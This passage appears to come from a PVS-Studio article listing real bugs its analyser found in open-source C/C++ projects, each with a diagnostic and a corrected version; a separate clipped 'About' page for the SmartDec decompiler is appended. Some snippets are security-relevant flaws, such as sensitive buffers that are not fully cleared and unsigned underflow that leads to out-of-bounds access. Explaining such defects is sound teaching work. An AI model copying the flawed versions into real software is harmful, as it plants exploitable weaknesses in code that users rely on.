BOOL TortoiseBlame::OpenFile(const TCHAR *fileName)
{
  ...
  // check each line for illegal utf8 sequences.
  // If one is found, we treat
  // the file as ASCII, otherwise we assume
  // an UTF8 file.
  char * utf8CheckBuf = lineptr;
  while ((bUTF8)&&(*utf8CheckBuf))
  {
        if ((*utf8CheckBuf == 0xC0)||
                (*utf8CheckBuf == 0xC1)||
                (*utf8CheckBuf >= 0xF5))
        {
          bUTF8 = false;
          break;
        }

   ...
  }
  ...
}

The error was found through the V547 diagnostic: Expression '* utf8CheckBuf == 0xC0' is always false. The value range of signed char type: [-128, 127]. tortoiseblame.cpp 310

While the defect in the previous example seems to be caused through mere inattention, in this case it is not so. Here is another identical example where a condition is always false. This is a very widely-spread type of errors in various projects.



Example 3. VirtualDub project. Unsigned type is always >= 0.

typedef unsigned short wint_t;
...
void lexungetc(wint_t c) {
  if (c < 0)
        return;
   g_backstack.push_back(c);
}



The error was found through the V547 diagnostic: Expression 'c < 0' is always false. Unsigned type value is never < 0. Ami lexer.cpp 225

The "c < 0" condition is always false because the variable of the unsigned type is always above or equal to 0.



Example 4. Swiss-Army Knife of Trace project. Socket handling.

static UINT_PTR m_socketHandle;

void TTrace::LoopMessages(void)
{
  ...
  // Socket creation
  if ( (m_socketHandle = socket(AF_INET,SOCK_STREAM,0)) < 0)
  {
        continue;
  }
  ...
}

The error was found through the V547 diagnostic: Expression '(m_socketHandle = socket (2, 1, 0)) < 0' is always false. Unsigned type value is never < 0. Vs8_Win_Lib tracetool.cpp 871

An attempt to check that a socket was created successfully is performed incorrectly. If a socket cannot be created, this situation is not handled in any way. To make the check work correctly, we should use the INVALID_SOCKET constant:

m_socketHandle = socket(AF_INET,SOCK_STREAM,0);

Example 5. Chromium project. Time handling.

IdleState CalculateIdleState(...) {
  ...
  DWORD current_idle_time = 0;
  ...
  // Will go -ve if we have been idle for
  // a long time (2gb seconds).
  if (current_idle_time < 0)
        current_idle_time = INT_MAX;
  ...
}

The error was found through the V547 diagnostic: Expression 'current_idle_time < 0' is always false. Unsigned type value is never < 0. browser idle_win.cc 23

To handle time, a variable of the unsigned type is used. As a result, check of too large values does not work. This is the correct code:

if (current_idle_time > INT_MAX)
  current_idle_time = INT_MAX;



Example 6. ICU project. Error in condition.

U_CDECL_BEGIN static const char* U_CALLCONV
_processVariableTop(...)
{
  ...
  if(i == locElementCapacity &&
         (*string != 0 || *string != '_'))
  {
        *status = U_BUFFER_OVERFLOW_ERROR;
  }
  ...
}

The error was found through the V547 diagnostic: Expression '*string != 0 || *string != '_'' is always true. Probably the '&&' operator should be used here. icui18n ucol_sit.cpp 242

The condition contains a logical error. The "(*string != 0 || *string != '_')" subexpression is always true. It is impossible that one and the same string character is not equal to 0 and '_' at a time.



Example 7. QT project. Dangerous loop.

bool equals( class1* val1, class2* val2 ) const{
{
  ...
  size_t size = val1->size();
  ...
  while ( --size >= 0 ){
        if ( !comp(*itr1,*itr2) )
          return false;
        itr1++;
        itr2++;
  }
  ...
}

The error was found through the V547 diagnostic: Expression '--size >= 0' is always true. Unsigned type value is always >= 0. QtCLucene arrays.h 154

The (--size >= 0) condition is always true, since the size variable has the unsigned type. It means that if two sequences being compared are alike, we will get an overflow that will in its turn cause Access Violation or other program failures.

This is the correct code:

for (size_t i = 0; i != size; i++){
  if ( !comp(*itr1,*itr2) )
        return false;
  itr1++;
  itr2++;
}



Example 8. MySQL project. Error in condition.

enum enum_mysql_timestamp_type
str_to_datetime(...)
{
  ...
  else if (str[0] != 'a' || str[0] != 'A')
        continue; /* Not AM/PM */
  ...
}

The error was found through the V547 diagnostic: Expression 'str [0] != 'a' || str [0] != 'A'' is always true. Probably the '&&' operator should be used here. clientlib my_time.c 340

The condition is always true because the character is always either not equal to 'a' or to 'A'. This is the correct check:

else if (str[0] != 'a' && str[0] != 'A')



Example 9. QT project. Incorrect count of references.

STDMETHODIMP QEnumPins::QueryInterface(const IID &iid,void **out)
{
  ...
  if (S_OK)
        AddRef();
  return hr;
}

The error was found through the V545 diagnostic: Such conditional expression of 'if' operator is incorrect for the HRESULT type value '(HRESULT) 0L'. The SUCCEEDED or FAILED macro should be used instead. phonon_ds9 qbasefilter.cpp 60

The check condition is represented by the S_OK constant. Since S_OK is 0, the AddRef() function will never be called. This is how this check must look: if (hr == S_OK).



Example 10. TickerTape project. Incorrect tornado.

void GetWindAtSingleTornado(...)
{
  ...
  if(radius < THRESH * 5)
          *yOut = THRESH * 10 / radius;
  else if (radius < THRESH * 5)
          *yOut = -3.0f / (THRESH * 5.0f) *
                         (radius - THRESH * 5.0f) + 3.0f;
  else
          *yOut = 0.0f;
  ...
}

The error was found through the V517 diagnostic: The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. TickerTape wind.cpp 118

The second condition is always false. The reason is that the first condition coincides with the second. There must be a misprint here.



Example 11. Apache HTTP Server project. Error of socket handling in Windows.

typedef UINT_PTR SOCKET;

static unsigned int __stdcall win9x_accept(void * dummy)
{
  SOCKET csd;
  ...
  do {
          clen = sizeof(sa_client);
          csd = accept(nsd, (struct sockaddr *) &sa_client, &clen);
  } while (csd < 0 && APR_STATUS_IS_EINTR(apr_get_netos_error()));
  ...
}

The error was found through the V547 diagnostic: Expression 'csd < 0' is always false. Unsigned type value is never < 0. libhttpd child.c 404

Socket handling errors very often emerge in crossplatform programs built under Windows. In Linux, socket descriptors are represented by the signed type, while in Windows it is the unsigned type. Programmers often forget about this and check the error status by comparing the value to 0. This is incorrect; you must use specialized constants.



Example 12. QT project. Misprint in comparisons.

QStringList ProFileEvaluator::Private::values(...)
{
  ...
  else if (ver == QSysInfo::WV_NT)
        ret = QLatin1String("WinNT");
  else if (ver == QSysInfo::WV_2000)
        ret = QLatin1String("Win2000");
  else if (ver == QSysInfo::WV_2000)  <<--
        ret = QLatin1String("Win2003");
  else if (ver == QSysInfo::WV_XP)
        ret = QLatin1String("WinXP");
  ...
}

The error was found through the V517 diagnostic: The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 2303, 2305. lrelease profileevaluator.cpp 2303

In the string we have marked, there must be the text "ver == QSysInfo::WV_2003". Because of this error, the "ret = QLatin1String("Win2003")" statement will never be executed.



Code vulnerabilities

Of course, errors leading to code vulnerabilities are actually misprints, incorrect conditions and incorrect array handling. But we decided to single out certain errors into a separate group because they relate to the notion of software vulnerabilities. An intruder, using such errors, can try to disturb program operation, perform an attack to gain extended rights or carry out any other actions he/she needs.



Example 1. Ultimate TCP/IP project. Incorrect check of an empty string.

char *CUT_CramMd5::GetClientResponse(LPCSTR ServerChallenge)
{
  ...
  if (m_szPassword != NULL)
  {
        ...
        if (m_szPassword != '\0')
        {
  ...
}

The error was found through the V528 diagnostic: It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: *m_szPassword != '\0'. UTMail ut_crammd5.cpp 333

This code fragment must check that the pointer to the password is not equal to NULL and that the string is not empty. But instead, the code checks twice that the pointer is not equal to NULL. The check of the string does not work. The "if (m_szPassword != '\0')" condition was intended to check that there is a terminal null in the very beginning of the string, which means that the string is empty. But a pointer dereferencing operation is missing here, and it is the pointer itself which is compared to zero. This is the correct code:

if (m_szPassword != NULL)
{
  ...
  if (*m_szPassword != '\0')



Example 2. Chromium project. Null pointer handling.

bool ChromeFrameNPAPI::Invoke(...)
{
  ChromeFrameNPAPI* plugin_instance =
        ChromeFrameInstanceFromNPObject(header);
  if (!plugin_instance &&
          (plugin_instance->automation_client_.get()))
        return false;
  ...  
}

The error was found through the V522 diagnostic: Dereferencing of the null pointer 'plugin_instance' might take place. Check the logical condition. chrome_frame_npapi chrome_frame_npapi.cc 517

The condition that checks the null pointer is written incorrectly. As a result, we have a segmentation error. This is the correct code:

if (plugin_instance &&
        (plugin_instance->automation_client_.get()))
  return false;



Example 3. SMTP Client with SSL/TLS project. Incomplete buffer clearing.

void MD5::finalize () {
  ...
  uint1 buffer[64];
  ...
  // Zeroize sensitive information
  memset (buffer, 0, sizeof(*buffer));
  ...
}

The error was found through the V512 diagnostic: A call of the 'memset' function will lead to a buffer overflow or underflow. CSmtp md5.cpp 212

For security purposes, the function tries to clear the buffer containing sensitive information. But it fails. Only the first byte will be cleared in the buffer. The error is this: the 'sizeof' operator calculates the size of the 'uint1' type instead of buffer. This is the correct code:

memset (buffer, 0, sizeof(buffer));

Generally, errors of incomplete memory clearing are rather frequent. Consider some other cases like this.



Example 4. Chromium. Incomplete buffer clearing.

void Time::Explode(..., Exploded* exploded) const {
  ...
  ZeroMemory(exploded, sizeof(exploded));
  ...
}

The error was found through the V512 diagnostic: A call of the 'memset' function will lead to underflow of the buffer '(exploded)'. base time_win.cc 227

The ZeroMemory function clears only part of the Exploded structure. The reason is that the 'sizeof' operator returns the pointer size. To fix the error, we must dereference the pointer:

ZeroMemory(exploded, sizeof(*exploded));



Example 5. Apache HTTP Server project. Incomplete buffer clearing.

#define MEMSET_BZERO(p,l)          memset((p), 0, (l))

void apr__SHA256_Final(..., SHA256_CTX* context) {
  ...
  MEMSET_BZERO(context, sizeof(context));
  ...
}

The error was found through the V512 diagnostic: A call of the 'memset' function will lead to underflow of the buffer '(context)'. apr sha2.c 560

The error is completely identical to the previous one. The 'sizeof' operator calculates the pointer size. To fix it, we must write: "sizeof(*context)".



Example 6. Miranda IM project. Incorrect string handling.

static char *_skipblank(char * str)
{
  char * endstr=str+strlen(str);
  while ((*str==' ' || *str=='\t') && str!='\0') str++;
  while ((*endstr==' ' || *endstr=='\t') &&
                 endstr!='\0' && endstr<str)
        endstr--;
  ...
}

The error was found through the diagnostics: V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: *str != '\0'. clist_modern modern_skinbutton.cpp 282

V528 It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: *endstr != '\0'. clist_modern modern_skinbutton.cpp 283

This code is rather dangerous because it incorrectly determines the string end. It may cause a string overflow and, as a consequence, an Access Violation exception. The error lies here: "str!='\0'" and here: "endstr!='\0'". A pointer dereferencing operation is missing. This is the correct code:

while ((*str==' ' || *str=='\t') && *str!='\0') str++;
while ((*endstr==' ' || *endstr=='\t') &&
           *endstr!='\0' && endstr<str)
  endstr--;



Example 7. PNG library project. Accidental pointer clearing.

png_size_t
png_check_keyword(png_structp png_ptr, png_charp key,
  png_charpp new_key)
{
  ...
  if (key_len > 79)
  {
        png_warning(png_ptr, "keyword length must be 1 - 79 characters");
        new_key[79] = '\0';
        key_len = 79;
  }
  ...
}

The error was found through the V527 diagnostic: It is odd that the '\0' value is assigned to 'char' type pointer. Probably meant: *new_key [79] = '\0'. graphics3D pngwutil.c 1283

This sample demonstrates a mistake when the programmer accidentally clears the pointer instead of truncating the string length. The point is that 'new_key' is a pointer to a string. And it means that we should write our code as follows to truncate it to 79 characters:

(*new_key)[79] = '\0';



Example 8. Intel AMT SDK project. Unverified user name.

static void
wsman_set_subscribe_options(...)
{
  ...
  if (options->delivery_certificatethumbprint ||
         options->delivery_password ||
         options->delivery_password) {
  ...
}

The error was found through the V501 diagnostic: There are identical sub-expressions 'options->delivery_password' to the left and to the right of the '||' operator. OpenWsmanLib wsman-client.c 631

Because of the developer's inattention, presence of password is checked twice, while presence of user name is not checked at all. This is the correct code:

if (options->delivery_certificatethumbprint ||
   options->delivery_username ||
   options->delivery_password) {



Example 9. Ultimate TCP/IP project. Incorrect handling of empty strings.

void CUT_StrMethods::RemoveCRLF(LPSTR buf)
{
  // v4.2 changed to size_t
  size_t  len, indx = 1;
  if(buf != NULL){
        len = strlen(buf);
        while((len - indx) >= 0 && indx <= 2) {
          if(buf[len - indx] == '\r' ||
                 buf[len - indx] == '\n')
                 buf[len - indx] = 0;
          ++indx;
        }
  }
}

The error was found through the V547 diagnostic: Expression '(len - indx) >= 0' is always true. Unsigned type value is always >= 0. UTDns utstrlst.cpp 58

The "len - indx" expression has the unsigned type 'size_t' and is always >= 0. Let's look what it will result in, if we send an empty string to the input.

If the string is empty, then: len = 0, indx = 1.

The len - indx expression is equal to 0xFFFFFFFFu.

Since 0xFFFFFFFFu > 0 and indx <= 2, an array access is performed

"buf[len - indx]".

The "buf[0xFFFFFFFFu]" operation will cause Access Violation.



Example 10. Miranda IM project. Underflow protection does not work.

void Append( PCXSTR pszSrc, int nLength )
{
  ...
  UINT nOldLength = GetLength();
  if (nOldLength < 0)
  {
        // protects from underflow
        nOldLength = 0;
  }
  ...
}

The error was found through the V547 diagnostic: Expression 'nOldLength < 0' is always false. Unsigned type value is never < 0. IRC mstring.h 229

The check "if (nOldLength < 0)" does not work since the nOldLength variable has the unsigned type.



Example 11. Apache HTTP Server project. Incorrect handling of negative values.

typedef  size_t   apr_size_t;
APU_DECLARE(apr_status_t) apr_memcache_getp(...)
{
  ...
  apr_size_t len = 0;
  ...
  len = atoi(length);
  ...
  if (len < 0) {
        *new_length = 0;
        *baton = NULL;
  }
  else {
        ...  
  }
}

The error was found through the V547 diagnostic: Expression 'len < 0' is always false. Unsigned type value is never < 0. aprutil apr_memcache.c 814

The check "if (len < 0)" does not work because the 'len' variable has the unsigned type.



Example 12. Ultimate TCP/IP project. Incorrect condition of loop termination.

void CUT_StrMethods::RemoveSpaces(LPSTR szString) {
  ...
  size_t loop, len = strlen(szString);
  // Remove the trailing spaces
  for(loop = (len-1); loop >= 0; loop--) {
        if(szString[loop] != ' ')
          break;
  }
  ...
}

The error was found through the V547 diagnostic: Expression 'loop >= 0' is always true. Unsigned type value is always >= 0. UTDns utstrlst.cpp 430

Suppose the whole string consists only of spaces. While searching the characters, the program will reach the null item of the string, and the 'loop' variable will equal to zero. Then it will be decremented once again. Since this variable is of unsigned type, its value will be 0xFFFFFFFFu or 0xFFFFFFFFFFFFFFFFu (depending on the architecture). This value is 'naturally >= 0', and a new loop iteration will start. There will be an attempt of memory access by szString[0xFFFFFFFFu] address - the consequences of this are familiar to every C/C++ programmer.



Example 13. Crypto++ project. Private data clearing error.

void CAST256::Base::UncheckedSetKey(const byte *userKey,
  unsigned int keylength, const NameValuePairs &)
{
  AssertValidKeyLength(keylength);
  word32 kappa[8];
  ...
  memset(kappa, 0, sizeof(kappa));
}

The error has been found with rule V597: The compiler could delete the 'memset' function call, which is used to flush 'kappa' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. cryptlib cast.cpp 293

The problem is in the memset() function. The arguments passed into the function are correct. If a programmer looks how the Debug-version of this code works in the debugger, he/she won't notice the trouble either. The error occurs in the Release version of the project. The data that should have been cleared will remain in memory. The reason is that the compiler has the right to delete the call of the memset() function during optimization, and this is what it does. If you want know why it happens, read the article "Overwriting memory - why?".



Copy-Paste

Developers should not also underestimate Copy-Paste errors as well as common misprints. They are very-very numerous. Programmers spend much time on debugging them.

Of course, misprints and Copy-Paste errors are similar, but there is a difference between them that caused us to place them into different groups in this article. Misprints often result in using a wrong variable instead of the needed one. And in the case of copy-paste, programmers simply forget to edit copied and pasted lines.



Example 1. Fennec Media Project project. Mistake while handling array items.

void* tag_write_setframe(char *tmem,
  const char *tid, const string dstr)
{
  ...
  if(lset)
  {
        fhead[11] = '\0';
        fhead[12] = '\0';
        fhead[13] = '\0';
        fhead[13] = '\0';
  }
  ...
}

The error was found through the V525 diagnostic: The code containing the collection of similar blocks. Check items '11', '12', '13', '13' in lines 716, 717, 718, 719. id3 editor.c 716

The four similar lines must have appeared in the code through the copy-paste method. When the programmer started editing the indexes, he/she made a mistake that causes zero to be written into 'fhead[13] ' twice and not be written into 'fhead[14] '.



Example 2. MySQL project. Mistake while handling array items.

static int rr_cmp(uchar *a,uchar *b)
{
  if (a[0] != b[0])
        return (int) a[0] - (int) b[0];
  if (a[1] != b[1])
        return (int) a[1] - (int) b[1];
  if (a[2] != b[2])
        return (int) a[2] - (int) b[2];
  if (a[3] != b[3])
        return (int) a[3] - (int) b[3];
  if (a[4] != b[4])
        return (int) a[4] - (int) b[4];
  if (a[5] != b[5])
        return (int) a[1] - (int) b[5];
  if (a[6] != b[6])
        return (int) a[6] - (int) b[6];
  return (int) a[7] - (int) b[7];
}

The error was found through the V525 diagnostic: The code containing the collection of similar blocks. Check items '0', '1', '2', '3', '4', '1', '6' in lines 680, 682, 684, 689, 691, 693, 695. sql records.cc 680

It is not apparent at first sight, so let's single it out:

return (int) a[1] - (int) b[5];

Actually there must be the following code:

return (int) a[5] - (int) b[5];



Example 3. TortoiseSVN project. File name not corrected.

BOOL GetImageHlpVersion(DWORD &dwMS, DWORD &dwLS)
{
  return(GetInMemoryFileVersion(("DBGHELP.DLL"),
                                                                dwMS,
                                                                dwLS)) ;
}

BOOL GetDbgHelpVersion(DWORD &dwMS, DWORD &dwLS)
{
  return(GetInMemoryFileVersion(("DBGHELP.DLL"),
                                                                dwMS,
                                                                dwLS)) ;
}

The error was found through the V524 diagnostic: It is odd that the 'GetDbgHelpVersion' function is fully equivalent to the 'GetImageHlpVersion' function (SymbolEngine.h, line 98). symbolengine.h 105

The 'GetImageHlpVersion' function must have appeared through copying and pasting the 'GetInMemoryFileVersion' function. The error is this: the programmer forgot to fix the file name in the copied and pasted function. This is the correct code:

BOOL GetImageHlpVersion(DWORD &dwMS, DWORD &dwLS)
{
  return(GetInMemoryFileVersion(("IMAGEHLP.DLL"),
                                                                dwMS,
                                                                dwLS)) ;
}



Example 4. Clang project. Identical function bodies.

MapTy PerPtrTopDown;
MapTy PerPtrBottomUp;

void clearBottomUpPointers() {
  PerPtrTopDown.clear();
}

void clearTopDownPointers() {
  PerPtrTopDown.clear();
}

The error was found through the V524 diagnostic: It is odd that the body of 'clearTopDownPointers' function is fully equivalent to the body of 'clearBottomUpPointers' function (ObjCARC.cpp, line 1318). LLVMScalarOpts objcarc.cpp 1322

The body of the clearBottomUpPointers function seems to be incorrect; this function should be written as follows:

void clearBottomUpPointers() {
  PerPtrBottomUp.clear();
}



Example 5. QT. Unsuccessful swap.

bool qt_testCollision(...)
{
  ...
  t=x1; x1=x2; x2=t;
  t=y1; x1=y2; y2=t;
  ...
}

The error was found through the V519 diagnostic: The 'x1' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2218, 2219. Qt3Support q3canvas.cpp 2219

The first line is absolutely correct and swaps values in the x1 and x2 variables. In the second line, variables y1 and y2 must be swapped. This line is probably a copy of the previous one. All the 'x' letters must be replaced with letters 'y'. Unfortunately, the programmer forgot to do that in one place: "... x1=y2; ...".

Correct code:

t=x1; x1=x2; x2=t;
t=y1; y1=y2; y2=t;



Example 6. Crystal Space 3D SDK project. Identical subexpressions.

inline_ bool Contains(const LSS& lss)
{
  return Contains(Sphere(lss.mP0, lss.mRadius)) &&
                 Contains(Sphere(lss.mP0, lss.mRadius));
}

The error was found through the V501 diagnostic: There are identical sub-expressions to the left and to the right of the '&&' operator. plgcsopcode icelss.h 69

The error is this: the 'lss.mP0.' variable is used twice here. There must be 'lss.mP1' in the first part of the expression.



Example 7. Notepad++ project. Setting an incorrect style.

void KeyWordsStyleDialog::updateDlg()
{
  ...
  Style & w1Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD1_INDEX);
  styleUpdate(w1Style, _pFgColour[0], _pBgColour[0],
        IDC_KEYWORD1_FONT_COMBO, IDC_KEYWORD1_FONTSIZE_COMBO,
        IDC_KEYWORD1_BOLD_CHECK, IDC_KEYWORD1_ITALIC_CHECK,
        IDC_KEYWORD1_UNDERLINE_CHECK);

  Style & w2Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD2_INDEX);
  styleUpdate(w2Style, _pFgColour[1], _pBgColour[1],
        IDC_KEYWORD2_FONT_COMBO, IDC_KEYWORD2_FONTSIZE_COMBO,
        IDC_KEYWORD2_BOLD_CHECK, IDC_KEYWORD2_ITALIC_CHECK,
        IDC_KEYWORD2_UNDERLINE_CHECK);

  Style & w3Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD3_INDEX);
  styleUpdate(w3Style, _pFgColour[2], _pBgColour[2],
        IDC_KEYWORD3_FONT_COMBO, IDC_KEYWORD3_FONTSIZE_COMBO,
        IDC_KEYWORD3_BOLD_CHECK, IDC_KEYWORD3_BOLD_CHECK,
        IDC_KEYWORD3_UNDERLINE_CHECK);

  Style & w4Style =
        _pUserLang->_styleArray.getStyler(STYLE_WORD4_INDEX);
  styleUpdate(w4Style, _pFgColour[3], _pBgColour[3],
        IDC_KEYWORD4_FONT_COMBO, IDC_KEYWORD4_FONTSIZE_COMBO,
        IDC_KEYWORD4_BOLD_CHECK, IDC_KEYWORD4_ITALIC_CHECK,
        IDC_KEYWORD4_UNDERLINE_CHECK);
  ...
}

The error was found through the V525 diagnostic: The code containing the collection of similar blocks. Check items '7', '7', '6', '7' in lines 576, 580, 584, 588

It is almost unreal to find this error by sight, so let's abridge the text to single out the most interesting fragments:

styleUpdate(...
  IDC_KEYWORD1_BOLD_CHECK, IDC_KEYWORD1_ITALIC_CHECK,
  ...);
styleUpdate(...
  IDC_KEYWORD2_BOLD_CHECK, IDC_KEYWORD2_ITALIC_CHECK,
  ...);
styleUpdate(...
  IDC_KEYWORD3_BOLD_CHECK, IDC_KEYWORD3_BOLD_CHECK, <<--
  ...);
styleUpdate(...
  IDC_KEYWORD4_BOLD_CHECK, IDC_KEYWORD4_ITALIC_CHECK,
  ...);

By mistake, IDC_KEYWORD3_BOLD_CHECK is used instead of IDC_KEYWORD3_ITALIC_CHECK.



Example 8. ReactOS object. Choosing a wrong object.

void CardButton::DrawRect(HDC hdc, RECT *rect, bool fNormal)
{
  ...
  HPEN hhi = CreatePen(0, 0, MAKE_PALETTERGB(crHighlight));
  HPEN hsh = CreatePen(0, 0, MAKE_PALETTERGB(crShadow));
  ...
  if(fNormal)
        hOld = SelectObject(hdc, hhi);
  else
        hOld = SelectObject(hdc, hhi);
  ...
}

The error was found through the V523 diagnostic: The 'then' statement is equivalent to the 'else' statement. cardlib cardbutton.cpp 83

The 'hsh' object is not used, while 'hhi' is used twice. This is the correct code:

if(fNormal)
  hOld = SelectObject(hdc, hhi);
else
  hOld = SelectObject(hdc, hsh);



Example 9. IPP Samples project. Incorrect check.

Status VC1VideoDecoder::ResizeBuffer()
{
  ...
  if(m_pContext && m_pContext->m_seqLayerHeader &&
         m_pContext->m_seqLayerHeader->heightMB &&
         m_pContext->m_seqLayerHeader->heightMB)  
  ...
}

The error was found through the V501 diagnostic: There are identical sub-expressions 'm_pContext->m_seqLayerHeader->heightMB' to the left and to the right of the '&&' operator. vc1_dec umc_vc1_video_decoder.cpp 1347

Correct code:

if(m_pContext && m_pContext->m_seqLayerHeader &&
   m_pContext->m_seqLayerHeader->heightMB &&
   m_pContext->m_seqLayerHeader->widthMB)  



Example 10. ReactOS project. Mistake in a variable name.

BOOL APIENTRY
GreStretchBltMask(...)
{
  ...
  MaskPoint.x += DCMask->ptlDCOrig.x;
  MaskPoint.y += DCMask->ptlDCOrig.x;
  ...
}

The error was found through the V537 diagnostic: Consider reviewing the correctness of 'x' item's usage. win32k bitblt.c 670

This is a very good example where you can see that a line was copied and pasted. After that, the programmer fixed the first name 'x' but forgot to fix the second. This is the correct code:

MaskPoint.x += DCMask->ptlDCOrig.x;
MaskPoint.y += DCMask->ptlDCOrig.y;



Late check of null pointers

C/C++ programmers have to check numerous pointers all the time to make sure that they are not equal to zero. Since these checks are numerous, the chance to make a mistake is also big. It often happens that a pointer is used first and only then is compared to NULL. Errors of this type reveal themselves very rarely. Usually the program works correctly in the standard mode and fails only in case of a non-standard situation. Instead of correctly processing a null pointer in normal mode, an Access Violation will occur and an exception will be thrown.



Example 1. Quake-III-Arena project. Late check.

void Item_Paint(itemDef_t *item) {
  vec4_t red;
  menuDef_t *parent = (menuDef_t*)item->parent;
  red[0] = red[3] = 1;
  red[1] = red[2] = 0;
  if (item == NULL) {
        return;
  }
  ...
}

The error has been found with rule V595: The 'item' pointer was utilized before it was verified against nullptr. Check lines: 3865, 3869. cgame ui_shared.c 3865

The 'item' pointer is used first and only then is compared to NULL.



Example 2. LAME Ain't an MP3 Encoder project. Late check.

static int
check_vbr_header(PMPSTR mp, int bytes)
{
  ...
  buf  = buf->next;
  pos = buf->pos;
  if(!buf) return -1; /* fatal error */
  ...
}

The error has been found with rule V595: The 'buf' pointer was utilized before it was verified against nullptr. Check lines: 226, 227. mpglib interface.c 226

If 'buf' equals NULL, an exception will be thrown instead of returning the error code. And if exceptions are not used, the program will crash.



Example 3. daoParanoia library project. Late check.

static long i_stage2_each(root_block *root,
  v_fragment *v, void(*callback)(long,int))
{
  cdrom_paranoia *p=v->p;
  long dynoverlap=p->dynoverlap/2*2;
  if (!v || !v->one) return(0);
  ...
}

The error has been found with rule V595: The 'v' pointer was utilized before it was verified against nullptr. Check lines: 532, 535. daoParanoia paranoia.c 532

The situation here is identical to the previous ones.



Example 4. TrinityCore project. Late check.

bool OnCheck(Player* player, Unit* /*target*/)
{
  bool checkArea =
        player->GetAreaId() == AREA_ARGENT_TOURNAMENT_FIELDS ||
        player->GetAreaId() == AREA_RING_OF_ASPIRANTS ||
        player->GetAreaId() == AREA_RING_OF_ARGENT_VALIANTS ||
        player->GetAreaId() == AREA_RING_OF_ALLIANCE_VALIANTS ||
        player->GetAreaId() == AREA_RING_OF_HORDE_VALIANTS ||
        player->GetAreaId() == AREA_RING_OF_CHAMPIONS;

  return player && checkArea && player->duel &&
                 player->duel->isMounted;
}
The error has been found with rule : The 'player' pointer was utilized before it was verified against nullptr. Check lines: 310, 312. scripts achievement_scripts.cpp 310

As you can see from the "player && ..." condition, the 'player' pointer can be equal to zero. However, this check, like in all the previous examples, is too late.

We could cite many examples of such errors, but they are all alike. If you have seen a couple of such errors, be sure you've seen them all.



Miscellaneous



Example 1. Image Processing SDK project. Octal number.

inline
void elxLuminocity(const PixelRGBus& iPixel,
  LuminanceCell< PixelRGBus >& oCell)
{
  oCell._luminance = uint16(0.2220f*iPixel._red +
        0.7067f*iPixel._blue + 0.0713f*iPixel._green);
  oCell._pixel = iPixel;
}

inline
void elxLuminocity(const PixelRGBi& iPixel,
  LuminanceCell< PixelRGBi >& oCell)
{
  oCell._luminance = 2220*iPixel._red +
        7067*iPixel._blue + 0713*iPixel._green;
  oCell._pixel = iPixel;
}

The error was found through the V536 diagnostic: Be advised that the utilized constant value is represented by an octal form. Oct: 0713, Dec: 459. IFF plugins pixelservices.inl 146

If you examine the second function, you will see that the programmer intended to use number 713, not 0713. Number 0713 is declared in the octal numeral system. You can easily forget about it if you seldom use octal constants.



Example 2. IPP Samples project. One variable for two loops.

JERRCODE CJPEGDecoder::DecodeScanBaselineNI(void)
{
  ...
  for(c = 0; c < m_scan_ncomps; c++)
  {
        block = m_block_buffer + (DCTSIZE2*m_nblock*(j+(i*m_numxMCU)));

        // skip any relevant components
        for(c = 0; c < m_ccomp[m_curr_comp_no].m_comp_no; c++)
        {
          block += (DCTSIZE2*m_ccomp[c].m_nblocks);
        }
  ...
}

The error was found through the V535 diagnostic: The variable 'c' is being used for this loop and for the outer loop. jpegcodec jpegdec.cpp 4652

One and the same variable is used for the outer loop and the inner loop. As a result, this code will handle only part of the data or cause an eternal loop.



Example 3. Quake-III-Arena project. Missing return.

static ID_INLINE int BigLong(int l)
{ LongSwap(l); }

The error has been found with rule V591: Non-void function should return a value. botlib q_shared.h 155

This code is written in C. It means that the compiler doesn't require that return should be necessarily present. But it is really necessary here. However, the code can work well due to sheer luck. Everything depends on what the EAX register contains. But it's just luck and nothing more. The function body should have been written this way: { return LongSwap(l); }.



Example 4. Notepad++ project. Odd condition.

int Notepad_plus::getHtmlXmlEncoding(....) const
{
  ...
  if (langT != L_XML && langT != L_HTML && langT == L_PHP)
        return -1;
  ...
}

The error has been found with rule V590: Consider inspecting this expression. The expression is excessive or contains a misprint. Notepad++ notepad_plus.cpp 853

Perhaps this error is just a misprint, but it also could have appeared during factoring. However, it is obvious. The condition can be simplified: if (langT == L_PHP). It means that the code must have looked this way:

if (langT != L_XML && langT != L_HTML && langT != L_PHP)



References

· PVS-Studio Main Product Page. http://www.viva64.com/en/pvs-studio/
· Download the fully functional trial. http://www.viva64.co...tudio-download/
· Buy PVS-Studio. http://www.viva64.com/en/order/
· PVS-Studio Documentation. http://www.viva64.com/en/d/
· Feedback. http://www.viva64.co...about-feedback/
· Twitter. http://twitter.com/Code_Analysis


﻿http://decompilation.info/about/ 
About | SmartDec
Created:
7/16/2011 12:54:52 PM
Updated:
7/16/2011 12:54:52 PM
Author:

Tags:
research Decompiler


About
Today it is not uncommon for a software development company to use third-party components that are provided without source code. In such cases it is often desired to verify that these components do not include malicious code and have no security loopholes.
It is also a common situation when some legacy software is used for years and no source code is available. In such situation a need may arise to fix errors in this software, improve its performance, or adapt it to the changed requirements.
Such problems are addressed by reverse engineering. Software reverse engineering may involve decompilation — translation of machine code or bytecode obtained from a compiler back into the source code in the original high level language. Note that decompilation output won’t be textually equivalent to the original source code, and is likely to be less comprehensible to a human. 
SmartDec is a native code to C/C++ decompiler. It is currently in an alpha stage. However, most of the functionality is already in place and can be used. If you are interested in checking out the alpha version, please contact us.
SmartDec performs decompilation in several steps:
1. Parsing of the input assembly listing and creation a program representation as a sequence of assembly instructions. SmartDec currently handles GNU objdump and Microsoft dumpbin output formats.
2. Building of the control flow graph. Isolation of functions.
3. Transformation of assembly instructions into platform-independent program representation.
4. Analysis of functions: 
1. Joint reaching definitions and constant propagation analysis.
2. Liveness analysis, dead code elimination.
3. Reconstruction of local variables, function arguments and return values.
4. Reconstruction of integral and composite types.
5. Structural analysis, including the reconstruction of compound conditions and loops.
5. High-level program generation, optimization and output.
There is also some work done on reconstruction of the following C++ specific constructs.
· Virtual functions.
· Classes.
· Class hierarchies, i.e. inheritance relations between classes.
· Constructors and destructors.
· Types of pointers to polymorphic classes.
· Non-virtual member functions.
· Layout and types of class members.
